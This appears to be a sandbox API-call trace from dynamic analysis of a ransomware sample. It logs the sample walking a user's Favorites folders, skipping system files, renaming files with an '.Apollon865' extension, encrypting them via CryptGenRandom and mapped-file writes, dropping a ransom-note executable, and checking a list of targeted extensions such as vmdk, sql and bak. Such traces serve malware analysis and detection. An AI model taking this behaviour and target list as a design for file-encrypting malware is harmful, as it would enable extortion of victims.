	[0088.766] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.768] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.769] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.769] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.769] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.770] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.770] CloseHandle (hObject=0x15c) returned 1
	[0088.770] CloseHandle (hObject=0x9c) returned 1
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.770] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="..") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="windows") returned -1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="bootmgr") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="temp") returned -1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="pagefile.sys") returned -1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="boot") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ids.txt") returned 1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ntuser.dat") returned -1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="perflogs") returned -1
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="MSBuild") returned -1
	[0088.771] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0088.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 80
	[0088.771] lstrcpyW (in: lpString1=0x119e67e, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url"
	[0088.771] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0088.771] lstrlenW (lpString="Apollon865") returned 10
	[0088.771] lstrcmpiW (lpString1="t Work.url", lpString2="Apollon865") returned 1
	[0088.771] lstrlenW (lpString=".dll") returned 4
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".dll") returned 1
	[0088.771] lstrlenW (lpString=".lnk") returned 4
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".lnk") returned 1
	[0088.771] lstrlenW (lpString=".ini") returned 4
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".ini") returned 1
	[0088.771] lstrlenW (lpString=".sys") returned 4
	[0088.771] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".sys") returned 1
	[0088.771] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0088.772] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865") returned 91
	[0088.772] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.apollon865"), dwFlags=0x1) returned 1
	[0088.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.773] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.774] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.775] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.775] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.775] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.778] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.778] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.779] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.779] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.780] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.780] CloseHandle (hObject=0x15c) returned 1
	[0088.780] CloseHandle (hObject=0x9c) returned 1
	[0088.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.780] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="..") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="windows") returned -1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="bootmgr") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="temp") returned -1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="pagefile.sys") returned -1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="boot") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ids.txt") returned 1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ntuser.dat") returned -1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="perflogs") returned -1
	[0088.780] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="MSBuild") returned -1
	[0088.780] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0088.780] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 80
	[0088.781] lstrcpyW (in: lpString1=0x119e67e, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url"
	[0088.781] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0088.781] lstrlenW (lpString="Apollon865") returned 10
	[0088.781] lstrcmpiW (lpString1=" Store.url", lpString2="Apollon865") returned -1
	[0088.781] lstrlenW (lpString=".dll") returned 4
	[0088.781] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".dll") returned 1
	[0088.781] lstrlenW (lpString=".lnk") returned 4
	[0088.781] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".lnk") returned 1
	[0088.781] lstrlenW (lpString=".ini") returned 4
	[0088.781] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".ini") returned 1
	[0088.781] lstrlenW (lpString=".sys") returned 4
	[0088.781] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".sys") returned 1
	[0088.781] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0088.781] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865") returned 89
	[0088.781] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.apollon865"), dwFlags=0x1) returned 1
	[0088.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.783] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=134) returned 1
	[0088.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.783] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.784] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.784] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.784] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.786] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.787] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.788] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.788] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.788] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.788] CloseHandle (hObject=0x15c) returned 1
	[0088.789] CloseHandle (hObject=0x9c) returned 1
	[0088.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.789] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0
	[0088.789] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.789] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0088.789] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links"
	[0088.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0088.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0088.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 45
	[0088.789] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links"
	[0088.789] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.790] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.790] GetLastError () returned 0x0
	[0088.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.790] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.790] CloseHandle (hObject=0x10c) returned 1
	[0088.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.791] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3045adb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3045adb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.791] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.791] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3045adb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3045adb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.791] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.791] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.791] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.791] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.791] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0088.791] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0088.791] lstrlenW (lpString="desktop.ini") returned 11
	[0088.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned 47
	[0088.791] lstrcpyW (in: lpString1=0x119e664, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0088.791] lstrlenW (lpString="desktop.ini") returned 11
	[0088.791] lstrlenW (lpString="Apollon865") returned 10
	[0088.792] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0088.792] lstrlenW (lpString=".dll") returned 4
	[0088.792] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0088.792] lstrlenW (lpString=".lnk") returned 4
	[0088.792] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0088.792] lstrlenW (lpString=".ini") returned 4
	[0088.792] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0088.792] lstrlenW (lpString=".sys") returned 4
	[0088.792] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0088.792] lstrlenW (lpString="desktop.ini") returned 11
	[0088.792] lstrlenW (lpString="bak") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0088.792] lstrlenW (lpString="ba_") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0088.792] lstrlenW (lpString="dbb") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0088.792] lstrlenW (lpString="vmdk") returned 4
	[0088.792] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0088.792] lstrlenW (lpString="rar") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0088.792] lstrlenW (lpString="zip") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0088.792] lstrlenW (lpString="tgz") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0088.792] lstrlenW (lpString="vbox") returned 4
	[0088.792] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0088.792] lstrlenW (lpString="vdi") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0088.792] lstrlenW (lpString="vhd") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0088.792] lstrlenW (lpString="vhdx") returned 4
	[0088.792] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0088.792] lstrlenW (lpString="avhd") returned 4
	[0088.792] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0088.792] lstrlenW (lpString="db") returned 2
	[0088.792] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0088.792] lstrlenW (lpString="db2") returned 3
	[0088.792] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0088.793] lstrlenW (lpString="db3") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0088.793] lstrlenW (lpString="dbf") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0088.793] lstrlenW (lpString="mdf") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0088.793] lstrlenW (lpString="mdb") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0088.793] lstrlenW (lpString="sql") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0088.793] lstrlenW (lpString="sqlite") returned 6
	[0088.793] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0088.793] lstrlenW (lpString="sqlite3") returned 7
	[0088.793] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0088.793] lstrlenW (lpString="sqlitedb") returned 8
	[0088.793] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0088.793] lstrlenW (lpString="xml") returned 3
	[0088.793] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
